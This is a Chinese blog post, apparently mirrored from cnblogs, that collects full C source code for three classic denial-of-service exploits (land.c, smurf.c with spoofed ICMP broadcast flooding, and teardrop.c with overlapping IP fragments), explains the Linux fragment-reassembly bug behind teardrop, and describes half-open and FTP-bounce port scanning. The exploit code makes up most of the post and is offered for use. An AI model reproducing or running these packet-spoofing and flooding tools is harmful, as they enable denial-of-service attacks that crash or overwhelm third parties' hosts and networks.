zoukankan      html  css  js  c++  java
  • 常用的攻击软件源代码(c)

    Abstract
    这里有一些是老的,现在看来并没有用,但他们都很有名。

    1 Land

    攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
    己的同一个端口发起连接(发SYN),Win95即会崩溃。


    /* land.c by m3lt, FLC
    crashes a win95 box */

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    //用于TCP校验和的伪头
    struct pseudohdr
    {
    struct in_addr saddr;
    struct in_addr daddr;
    u_char zero;
    u_char protocol;
    u_short length;
    struct tcphdr tcpheader;
    };

    //计算IP校验和
    u_short checksum(u_short * data,u_short length)
    {
    register long value;
    u_short i;

    for(i=0;i<(length>>1);i++)
    value+=data[i];

    if((length&1)==1)
    value+=(data[i]<<8);

    value=(value&65535)+(value>>16);

    return(~value);
    }


    int main(int argc,char * * argv)
    {
    struct sockaddr_in sin;
    struct hostent * hoste;
    int sock;
    char buffer[40];
    struct iphdr * ipheader=(struct iphdr *) buffer;
    struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
    struct pseudohdr pseudoheader;

    fprintf(stderr,"land.c by m3lt, FLC\n");

    if(argc<3)
    {
    fprintf(stderr,"usage: %s IP port\n",argv[0]);
    return(-1);
    }

    bzero(&sin,sizeof(struct sockaddr_in));
    sin.sin_family=AF_INET;

    if((hoste=gethostbyname(argv[1]))!=NULL)
    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
    else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
    fprintf(stderr,"unknown host %s\n",argv[1]);
    return(-1);
    }

    if((sin.sin_port=htons(atoi(argv[2])))==0)
    {
    fprintf(stderr,"unknown port %s\n",argv[2]);
    return(-1);
    }

    //new一个SOCK—RAW以发伪造IP包 这需要root权限
    if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
    {
    fprintf(stderr,"couldn't allocate raw socket\n");
    return(-1);
    }

    bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
    ipheader->version=4;
    ipheader->ihl=sizeof(struct iphdr)/4;
    ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
    ipheader->id=htons(0xF1C);
    ipheader->ttl=255;
    ipheader->protocol=IP_TCP;

    //目的IP地址和源IP地址相同
    ipheader->saddr=sin.sin_addr.s_addr;
    ipheader->daddr=sin.sin_addr.s_addr;

    //目的TCP端口和源TCPIP端口相同
    tcpheader->th_sport=sin.sin_port;
    tcpheader->th_dport=sin.sin_port;
    tcpheader->th_seq=htonl(0xF1C);
    tcpheader->th_flags=TH_SYN;
    tcpheader->th_off=sizeof(struct tcphdr)/4;
    tcpheader->th_win=htons(2048);

    bzero(&pseudoheader,12+sizeof(struct tcphdr));
    pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
    pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
    pseudoheader.protocol=6;
    pseudoheader.length=htons(sizeof(struct tcphdr));
    bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
    tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

    if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
    0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
    {
    fprintf(stderr,"couldn't send packet\n");
    return(-1);
    }

    fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

    close(sock);
    return(0);
    }


    2 Smurf
    smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
    据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
    的源地址)崩溃。

    受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
    icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
    (如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。

    可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。

    但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
    成不可能(没有WINS服务器时)。

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    void banner(void);
    void usage(char *);
    void smurf(int, struct sockaddr_in, u_long, int);
    void ctrlc(int);
    unsigned short in_chksum(u_short *, int);

    /* stamp */
    char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

    int main (int argc, char *argv[])
    {
    struct sockaddr_in sin;
    struct hostent *he;
    FILE *bcastfile;
    int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
    char buf[32], **bcastaddr = malloc(8192);

    banner();
    signal(SIGINT, ctrlc);

    if (argc < 6) usage(argv[0]);

    if ((he = gethostbyname(argv[1])) == NULL) {
    perror("resolving source host");
    exit(-1);
    }
    memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(0);

    num = atoi(argv[3]);
    delay = atoi(argv[4]);
    pktsize = atoi(argv[5]);

    if ((bcastfile = fopen(argv[2], "r")) == NULL) {
    perror("opening bcast file");
    exit(-1);
    }
    x = 0;
    while (!feof(bcastfile)) {
    fgets(buf, 32, bcastfile);
    if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
    for (i = 0; i < strlen(buf); i++)
    if (buf[i] == '\n') buf[i] = '\0';
    bcastaddr[x] = malloc(32);
    strcpy(bcastaddr[x], buf);
    x++;
    }
    bcastaddr[x] = 0x0;
    fclose(bcastfile);

    if (x == 0) {
    fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
    exit(-1);
    }
    if (pktsize > 1024) {
    fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
    exit(-1);
    }

    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
    perror("getting socket");
    exit(-1);
    }
    setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

    printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

    for (i = 0; i < num || !num; i++) {
    if (!(i % 25)) { printf("."); fflush(stdout); }
    smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
    cycle++;
    if (bcastaddr[cycle] == 0x0) cycle = 0;
    usleep(delay);
    }
    puts("\n\n");
    return 0;
    }

    void banner (void)
    {
    puts("\nsmurf.c v4.0 by TFreak\n");
    }

    void usage (char *prog)
    {
    fprintf(stderr, "usage: %s "
    " \n\n"
    "target = address to hit\n"
    "bcast file = file to read broadcast addresses from\n"
    "num packets = number of packets to send (0 = flood)\n"
    "packet delay = wait between each packet (in ms)\n"
    "packet size = size of packet (< 1024)\n\n", prog);
    exit(-1);
    }

    void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
    {
    struct iphdr *ip;
    struct icmphdr *icmp;
    char *packet;

    packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
    ip = (struct iphdr *)packet;
    icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
    ip->ihl = 5;
    ip->version = 4;
    ip->ttl = 255;
    ip->tos = 0;
    ip->frag_off = 0;
    ip->protocol = IPPROTO_ICMP;
    ip->saddr = sin.sin_addr.s_addr;
    ip->daddr = dest;
    ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
    icmp->type = 8;
    icmp->code = 0;
    icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

    sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
    0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

    free(packet); /* free willy! */
    }

    void ctrlc (int ignored)
    {
    puts("\nDone!\n");
    exit(1);
    }

    unsigned short in_chksum (u_short *addr, int len)
    {
    register int nleft = len;
    register int sum = 0;
    u_short answer = 0;

    while (nleft > 1) {
    sum += *addr++;
    nleft -= 2;
    }

    if (nleft == 1) {
    *(u_char *)(&answer) = *(u_char *)addr;
    sum += answer;
    }

    sum = (sum >> 16) + (sum + 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
    }


    3 Teardrop

    在Linux的ip包重组过程中有一个严重的漏洞。

    在ip_glue()中:

    在循环中重组ip包:
    fp = qp->fragments;
    while(fp != NULL)
    {
    if(count+fp->len > skb->len)
    {
    error_to_big;
    }
    memcpy((ptr + fp->offset), fp->ptr, fp->len);
    count += fp->len;
    fp = fp->next;
    }
    这里只检查了长度过大的情况,而没有考虑长度过小的情况,
    如 fp->len<0 时,也会使内核拷贝过多的东西。

    计算分片的结束位置:
    end = offset + ntohs(iph->tot_len) - ihl;

    当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
    是这样处理的:
    if (prev != NULL && offset < prev->end)
    {
    i = prev->end - offset;
    offset += i; /* ptr into datagram */
    ptr += i; /* ptr into fragment data */
    }

    /* Fill in the structure. */
    fp->offset = offset;
    fp->end = end;
    fp->len = end - offset; //fp->len是一个有符号整数

    举个例子来说明这个漏洞:
    第一个碎片:mf=1 offset=0 payload=20
    敌二个碎片:mf=0 offset=10 payload=9

    这样第一个碎片的 end=0+20
    offset=0
    这样第二个碎片的 end=9+10=19
    offset=offset+(20-offset)=20
    fp-〉len=19-20=-1;

    那么memcpy将拷贝过多的数据导致崩溃。


    /*
    * Copyright (c) 1997 route|daemon9 11.3.97
    *
    * Linux/NT/95 Overlap frag bug exploit
    *
    * Exploits the overlapping IP fragment bug present in all Linux kernels and
    * NT 4.0 / Windows 95 (others?)
    *
    * Based off of: flip.c by klepto
    * Compiles on: Linux, *BSD*
    *
    * gcc -O2 teardrop.c -o teardrop
    * OR
    * gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
    */

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
    /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n) (n)
    #else /* OpenBSD 2.1, all Linux */
    #define FIX(n) htons(n)
    #endif /* STRANGE_BSD_BYTE_ORDERING_THING */

    #define IP_MF 0x2000 /* More IP fragment en route */
    #define IPH 0x14 /* IP header size */
    #define UDPH 0x8 /* UDP header size */
    #define PADDING 0x1c /* datagram frame padding for first packet */
    #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
    #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
    * withstand maybe 5 or 10 sometimes... Experiment.
    */

    void usage(u_char *);
    u_long name_resolve(u_char *);
    u_short in_cksum(u_short *, int);
    void send_frags(int, u_long, u_long, u_short, u_short);

    int main(int argc, char **argv)
    {
    int one = 1,
    count = 0,
    i,
    rip_sock;
    u_long src_ip = 0, dst_ip = 0;
    u_short src_prt = 0, dst_prt = 0;
    struct in_addr addr;

    fprintf(stderr, "teardrop route|daemon9\n\n");

    //建SOCK_RAW
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
    perror("raw socket");
    exit(1);
    }
    //由系统处理IP校验和。
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
    < 0)
    {
    perror("IP_HDRINCL");
    exit(1);
    }

    if (argc < 3) usage(argv[0]);
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    {
    fprintf(stderr, "What the hell kind of IP address is that?\n");
    exit(1);
    }

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
    switch (i)
    {
    case 's': /* source port (should be emphemeral) */
    src_prt = (u_short)atoi(optarg);
    break;
    case 't': /* dest port (DNS, anyone?) */
    dst_prt = (u_short)atoi(optarg);
    break;
    case 'n': /* number to send */
    count = atoi(optarg);
    break;
    default :
    usage(argv[0]);
    break; /* NOTREACHED */
    }
    }

    srandom((unsigned)(time((time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count) count = COUNT;

    fprintf(stderr, "Death on flaxen wings:\n");
    addr.s_addr = src_ip;
    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
    fprintf(stderr, " Amt: %5d\n", count);
    fprintf(stderr, "[ ");

    for (i = 0; i < count; i++)
    {
    send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
    fprintf(stderr, "b00m ");
    usleep(500);
    }
    fprintf(stderr, "]\n");
    return (0);
    }

    /*
    * Send two IP fragments with pathological offsets. We use an implementation
    * independent way of assembling network packets that does not rely on any of
    * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
    */

    void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
    u_short dst_prt)
    {
    u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
    u_char byte; /* a byte */
    struct sockaddr_in sin; /* socket protocol structure */

    sin.sin_family = AF_INET;
    sin.sin_port = src_prt;
    sin.sin_addr.s_addr = dst_ip;

    /*
    * Grab some memory for our packet, align p_ptr to point at the beginning
    * of our packet, and then fill it with zeros.
    */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

    byte = 0x45; /* IP version and header length */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2; /* IP TOS (skipped) */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242); /* IP id */
    p_ptr += 2;
    *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40; /* IP TTL */
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    p_ptr += 4; /* IP checksum filled in by kernel */
    *((u_long *)p_ptr) = src_ip; /* IP source address */
    p_ptr += 4;
    *((u_long *)p_ptr) = dst_ip; /* IP destination address */
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
    sizeof(struct sockaddr)) == -1)
    {
    perror("\nsendto");
    free(packet);
    exit(1);
    }

    /* We set the fragment offset to be inside of the previous packet's
    * payload (it overlaps inside the previous packet) but do not include
    * enough payload to cover complete the datagram. Just the header will
    * do, but to crash NT/95 machines, a bit larger of packet seems to work
    * better.
    */
    p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    p_ptr += 4; /* IP offset is 6 bytes into the header */
    *((u_short *)p_ptr) = FIX(MAGIC);

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
    sizeof(struct sockaddr)) == -1)
    {
    perror("\nsendto");
    free(packet);
    exit(1);
    }
    free(packet);
    }

    u_long name_resolve(u_char *host_name)
    {
    struct in_addr addr;
    struct hostent *host_ent;

    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
    if (!(host_ent = gethostbyname(host_name))) return (0);
    bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
    }

    void usage(u_char *name)
    {
    fprintf(stderr,
    "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
    name);
    exit(0);
    }


    4 Portscan 和 Antiportscan

    Portscan的两种主要方法:
    (1) Half-open(半打开)
    利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
    如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。

    (2) FTP scanner
    利用了FTP的port命令,例如可以这样作:
    选择一个FTP服务器,连上后令port命令指向目标机,如果返回
    值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
    该端口无服务。
    telnet 192.168.1.13 21
    Trying 192.168.1.13...
    Connected to pp.bricks.org.
    Escape character is '^]'.
    220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
    Thu May 7 23:18:05 EDT 1998) ready.

    user anonymous
    331 Guest login ok, send your complete e-mail address as password.
    pass aa@aa.aa
    230 Guest login ok, access restrictions apply.
    port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口

    150 Opening ASCII mode data connection for file list.
    425 Can't build data connection: Connection refused.
    //该端口未活动
    150 Opening ASCII mode data connection for file list.
    226 Transfer complete.
    //该端口活动中
    但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。

    上述两种方法是通用的,而针对个别系统有一些特殊方法。

    如一些系统受到包后会作如下处理:

    标志 活动的端口的应答 不活动端口的应答

    SYN SYN|ACK RST 或 Nothing
    SYN|FIN ACK or SYN|ACK* RST
    ACK Nothing RST
    0 flag Nothing RST

    你最好是试一试。

    Antiport
    一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
    若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
    定它在向你做portscan。

    notes:
    早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
    而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
    都是向它scan。

  • 相关阅读:
    JavaScript
    94.Binary Tree Inorder Traversal
    144.Binary Tree Preorder Traversal
    106.Construct Binary Tree from Inorder and Postorder Traversal
    105.Construct Binary Tree from Preorder and Inorder Traversal
    90.Subsets II
    78.Subsets
    83.Merge Sorted Array
    80.Remove Duplicates from Sorted Array II
    79.Word Search
  • 原文地址:https://www.cnblogs.com/tuyile006/p/549001.html
Copyright © 2011-2022 走看看